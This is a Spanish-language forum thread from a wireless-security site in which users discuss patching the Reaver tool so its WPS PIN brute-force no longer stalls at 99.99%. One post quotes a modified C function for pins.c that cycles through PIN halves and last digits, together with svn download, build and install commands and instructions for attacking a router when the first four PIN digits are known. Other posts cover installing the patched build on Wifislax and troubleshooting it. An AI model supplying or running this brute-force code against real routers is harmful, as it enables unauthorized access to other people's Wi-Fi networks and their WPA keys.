Hasta lo he traducido al español ...al 95% , y coloreado las partes interesantes , como cuando dice el pin que ha probado , sale de otro color para verlo claramente.


ademas me la he ingeniado para poder tener A LA VEZ LAS 2 VERSIONES ,  >:(

ya que tambien modifique la ruta donde buscara la base de pines.

Me quito el sonbrero ante vos... >:(

Cita de: USUARIONUEVO

link=topic=48721.msg259117#msg259117 date=1353805943

esa es la modificacion unica y correcta del codigo de reaver hecha por el desarrollador de la misma , que digo yo sabra mas que nadie sobre el codigo de su herramienta

... Luego el tal STEFANO es el autor de REAVER ? !!! No lo sabía, que sorpresa¡¡¡

Saludos

Título: Re: Reaver y su "bug" del 99,99% (no es un bug, aqui lo explico).
Publicado por: Rhamallac en 25-11-2012, 13:51 (Domingo)
Hola,
Enhorabuena por el foro lo primero.

Un problema que he encontrado con la modificación del Pins.c es que la sesión no se guarda correctamente.
He intentado modificar el fichero que se graba, pero no encuentro la forma. Aun recuperando empieza desde el principio de 8752...

Alguien sabe como manipular el fichero o como recuperarlo?

Gracias de antemano y saludos.
Título: Re: Reaver y su "bug" del 99,99% (no es un bug, aqui lo explico).
Publicado por: djkarter en 25-11-2012, 16:43 (Domingo)
Hola a todos:

Estoy probando y con la opcon -p y 4 primero digitos, se queda en el mismo numero siempre y al 99,99% (he de decir que no he modificado nada, solo probando)

He intentando buscar el archivo pins.c que se indica para modificarlo y no lo encuentro, podeis especificar la ruta para poder hacerlo? o simplemente, no sirve de nada modificar eso puesto que hay que hacer algo mas???

A todos los que estais dedicando vuestro tiempo y esfuerzo, desde aqui mi apoyo, puesto que sin vosotros los demas no seriamos nadie.

Saludos.
Título: Re: Reaver y su "bug" del 99,99% (no es un bug, aqui lo explico).
Publicado por: Carpena en 25-11-2012, 17:32 (Domingo)
Genial, con todo lo que hems avanzado ya no creo que tenga problemas de 99,99% luego lo probare, pero para un futuro seria mejor integrarlo en la nueva version de wifislax para poner -concheksum o -sincheksum o un script que ante el error el 99,99% automaticamente se saltase elcheksum
Título: Re: Reaver y su "bug" del 99,99% (no es un bug, aqui lo explico).
Publicado por: Tystar en 25-11-2012, 21:55 (Domingo)
Hola, me alegra ver que han encontrado ya como solucionar el problema.

Por cierto, no se si se han fijado en la primera linea que comenta stefano en la solución de "http://code.google.com/p....."

"I'm proud of you TYSTAR" ;)

En su día Stefano dio la pista de que archivo había que modificar para solucionar el problema, el pins.c, yo hice una modificación propia "cutre" pero me sirvió para salir del paso, la publiqué ahí y por eso me contesto.

Saludos


Hola.

Mirando en la solucion de problemas de REAVER en la pagina del proyecto http://code.google.com/p/reaver-wps/ he visto un comentario que da solución al error del 99.99%. para que no compruebe el cheksum del último digito.

http://code.google.com/p/reaver-wps/issues/detail?id=195#c41

Citar
Comment 41 by stefano....@gmail.com, Oct 22, 2012

I'm proud of you Tystar!
You tried harder than anybody else looking for the insight and then you saw the light.
So it's time to show that light to all the masses.

Assumptions:
-the router accepts WPS transaction so it's not giving you continuously "timeout".
-you know the first 4 digits of the pin (for example 0123 or 1234 or whatever)
retrieve these information using original reaver before applying the modification.
---------------------------------------------------------------------------------------------
download reaver:
svn checkout http://reaver-wps.googlecode.com/svn/trunk/ reaver-wps-read-only

open the file /root/reaver-wps-read-only/src/pin.c with a text editor
(save a copy you will need it to reinstall original reaver)
after #include "pins.h" SUBSTITUTE THE FIRST FUNCTION WITH THIS SAME FUNCTION (modified):

/* EXHAUSTIVE MOD. init */
/*
 * in these lines trivial modifications are applied over the original code.
 * these lines have to be considered for demonstration purpose only.
 * WPA PSK retrieval is not granted.
 * http://code.google.com/p/reaver-wps/issues/detail?id=195
 */

/* set global vars */
int exhaustive_last_digit = 9;
int exhaustive_index = 000;

/* Builds a WPS PIN from the key tables */
char *build_wps_pin()
{
        char *key = NULL, *pin = NULL;
        int pin_len = PIN_SIZE + 1;

        pin = malloc(pin_len);
        key = malloc(pin_len);
        if(pin && key)
        {
                memset(key, 0, pin_len);
                memset(pin, 0, pin_len);
      
                /* Generate a 7-digit pin */
                snprintf(key, pin_len, "%s%s", get_p1(get_p1_index()), get_p2(exhaustive_index));
            
                /* Append last digit */
                snprintf(pin, pin_len, "%s%d", key, exhaustive_last_digit);

                free(key);

      if(exhaustive_last_digit==0)
      {
         if(exhaustive_index==999)
         {
            cprintf(CRITICAL, "[-] Failed to recover WPS pin. \n");
            /* Clean up and get out */
            globule_deinit();
            exit(EXIT_FAILURE);         
         }
         exhaustive_index++;
         exhaustive_last_digit=9;
      }else{
         exhaustive_last_digit--;
      }
        }

        return pin;
}

/* EXHAUSTIVE MOD. end */

-actual reaver have to be uninstalled:

cd /root/reaver-wps-read-only/src
./configure
make distclean

-modified reaver have to be installed:

cd /root/reaver-wps-read-only/src
./configure
make
make install
---------------------------------------------------------------------------------------------
call reaver with the option -p 0123 where "0123" are the pin first 4 digits.
if you don't specify these 4 digits worst-case will take at least 10 years (3sec/pin * 10^8pin).
using the right 4 digits worst-case will take at least 10 hours (3sec/pin * 10^4).

to reinstall original reaver:
substitute modified pins.c with the original pins.c that you kept safe somewhere.
uninstall and install with same commands as above.


Viene a decir que en el REAVER original en el archivo pin.c se sustituya una parte del codigo por el modificado por STEFANO.

Imagino que esto será la modificación que han hecho en el foro "ENEMIGO"

Saludos




Título: Re: Reaver y su "bug" del 99,99% (no es un bug, aqui lo explico).
Publicado por: USUARIONUEVO en 25-11-2012, 21:58 (Domingo)
pues mira este ultimo comentario me deja MUY MUY tranquilo.

Lo que menos me apetece es que vengan a decir que hemos "robao", el mod del otro sitio.

El nuestro es diferente.
Título: Re: Reaver y su "bug" del 99,99% (no es un bug, aqui lo explico).
Publicado por: linesguapo en 25-11-2012, 23:01 (Domingo)
Usuarionuevo como va el tema lo vas integrar entonces en wifislax, con lo que has colgado varios no somos capaces de instalarlo, bueno muchas gracias por todo compañero eres un. Crack.
Título: Re: Reaver y su "bug" del 99,99% (no es un bug, aqui lo explico).
Publicado por: linesguapo en 25-11-2012, 23:02 (Domingo)
Usuarionuevo como va el tema lo vas integrar entonces en wifislax, con lo que has colgado varios no somos capaces de instalarlo, bueno muchas gracias por todo compañero eres un. Crack.
Título: Re: Reaver y su "bug" del 99,99% (no es un bug, aqui lo explico).
Publicado por: USUARIONUEVO en 25-11-2012, 23:06 (Domingo)
 :P :P :P  https://foro.seguridadwireless.net/live-wifislax/reaver-wifislax-mod-para-problema-99/
Título: Re: Reaver y su "bug" del 99,99% (no es un bug, aqui lo explico).
Publicado por: linesguapo en 26-11-2012, 00:32 (Lunes)
He probado el modulo y me lo instala perfectamente, pero cuando lo ejecuto no es capaz de asociarse se queda en esperando beacon, y con el reaver normal tampoco, pero si arranco la Live y no instalo el modulo el rever funciona correctamente y se asocia tienen que haber algún bug uso wifislax 4.2
Título: Re: Reaver y su "bug" del 99,99% (no es un bug, aqui lo explico).
Publicado por: USUARIONUEVO en 26-11-2012, 00:37 (Lunes)
modifique la linea donde decia compatibilidad wifislax 4 -4..3  


he dejado solo compatibilidad 4.3 que es donde lo he probado.
Título: Re: Reaver y su "bug" del 99,99% (no es un bug, aqui lo explico).
Publicado por: Carpena en 26-11-2012, 01:35 (Lunes)
para ser un usuario nuevo estas solucionando muchos problemas jajaja
Título: Re: Reaver y su "bug" del 99,99% (no es un bug, aqui lo explico).
Publicado por: USUARIONUEVO en 26-11-2012, 01:52 (Lunes)
el problema era de permisos , seguramente ya funcione en todas las

wifislax-4.x
wifiway-3.x

se ha publicado beta2
Título: Re: Reaver y su "bug" del 99,99% (no es un bug, aqui lo explico).
Publicado por: linesguapo en 26-11-2012, 23:55 (Lunes)
Con 4.3.2 todo muchas gracias máquina
Título: Re: Reaver y su "bug" del 99,99% (no es un bug, aqui lo explico).
Publicado por: delmo99 en 27-11-2012, 08:57 (Martes)
Estuve ayer trasteando con esta modificación y me fijé que cuando fallaba al introducir un pin (error 0x03) decía que volvía a reintentar el último pin y no lo hacía, saltaba al siguiente. Llegó al 99.99% de nuevo (comencé al 90.4%) y así estuvo al menos 6 horas más...hasta que he apagado el equipo. Seguía introduciendo pines distintos por lo que entiendo que estaba en un bucle y ya no actualizaba el porcentaje.
He visto un poco el código pero C no es mi fuerte y no entiendo mucho el funcionamiento del algoritmo. ¿Alguna explicación ilustrativa? Gracias.

EDITO: Probé la versión Beta 3 en Wifiway 3.4 desde un USB Live.
Título: Re: Reaver y su "bug" del 99,99% (no es un bug, aqui lo explico).
Publicado por: USUARIONUEVO en 27-11-2012, 09:26 (Martes)
Seguía introduciendo pines distintos

La traduccion puede que no sea de fiar al 100%  ^-^

pero mientras pruebe pines diferentes no hay problema.